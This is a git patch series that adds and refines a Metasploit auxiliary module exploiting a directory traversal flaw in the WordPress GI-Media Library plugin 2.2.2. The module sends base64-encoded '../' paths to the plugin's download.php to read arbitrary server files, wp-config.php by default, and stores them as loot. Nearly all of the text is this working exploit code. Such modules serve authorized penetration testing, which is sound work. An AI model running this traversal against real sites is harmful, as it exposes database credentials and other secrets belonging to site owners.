From 7b0b59b5f640ae645015561fe79f6d48c9da8f2a Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Fri, 24 Apr 2015 04:24:16 -0300 Subject: [PATCH 1/4] Add WordPress GI-Media Library Plugin File Read. --- .../http/wp_gimedia_library_file_read.rb | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb new file mode 100644 index 0000000000..a1d1a0c159 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress GI-Media Library Plugin File Read Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in WordPress Plugin + "GI-Media Library" version 2.2.2, allowing to read arbitrary files on + Wordpress directory. + }, + 'References' => + [ + ['WPVDB', '7754'], + ['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24'] + ], + 'Author' => + [ + 'Unknown', # Vulnerability discovery - QuantiKa14? + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The file to read', 'wp-config.php']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ]) + ], self.class) + end + + def check + check_plugin_version_from_readme('gi-media-library', '3.0') + end + + def run_host(ip) + traversal = "../" * datastore['DEPTH'] + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'), + 'vars_get' => + { + 'fileid' => Rex::Text.encode_base64(traversal + filename) + } + ) + + if res && res.code == 200 && res.body && res.body.length > 0 + + print_status('Downloading file...') + print_line("\n#{res.body}") + + fname = datastore['FILEPATH'] + + path = store_loot( + 'gimedia-library.file', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.") + end + end +end From e51897d64e6a5ffaf67fe991639086af56a512aa Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Fri, 24 Apr 2015 04:35:59 -0300 Subject: [PATCH 2/4] Filepath option --- modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index a1d1a0c159..d3d59bea52 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILEPATH', [true, 'The file to read', 'wp-config.php']), + OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ]) ], self.class) end From 5ca6fe3cb01875eb1bb79362065ec6fe466ba73d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 24 Apr 2015 11:07:13 -0500 Subject: [PATCH 3/4] Do code cleanup --- .../scanner/http/wp_gimedia_library_file_read.rb | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index d3d59bea52..d36ece293a 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -16,8 +16,9 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'WordPress GI-Media Library Plugin File Read Vulnerability', 'Description' => %q{ This module exploits a directory traversal vulnerability in WordPress Plugin - "GI-Media Library" version 2.2.2, allowing to read arbitrary files on - Wordpress directory. + GI-Media Library version 2.2.2, allowing to read arbitrary files from the + system with the web server privileges. This module has been tested successfully + on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server. }, 'References' => [ @@ -44,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - traversal = "../" * datastore['DEPTH'] + traversal = '../' * datastore['DEPTH'] filename = datastore['FILEPATH'] filename = filename[1, filename.length] if filename =~ /^\// @@ -58,10 +59,6 @@ class Metasploit3 < Msf::Auxiliary ) if res && res.code == 200 && res.body && res.body.length > 0 - - print_status('Downloading file...') - print_line("\n#{res.body}") - fname = datastore['FILEPATH'] path = store_loot( @@ -74,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.") + vprint_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.") end end end From 7af6f31c3afd5b047e836002a26d04bdd07b823f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 24 Apr 2015 11:08:00 -0500 Subject: [PATCH 4/4] Fix message --- modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index d36ece293a..aee678d28e 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - File saved in: #{path}") else - vprint_error("#{peer} - Nothing was downloaded. Check the correct path wordpress files.") + vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.") end end end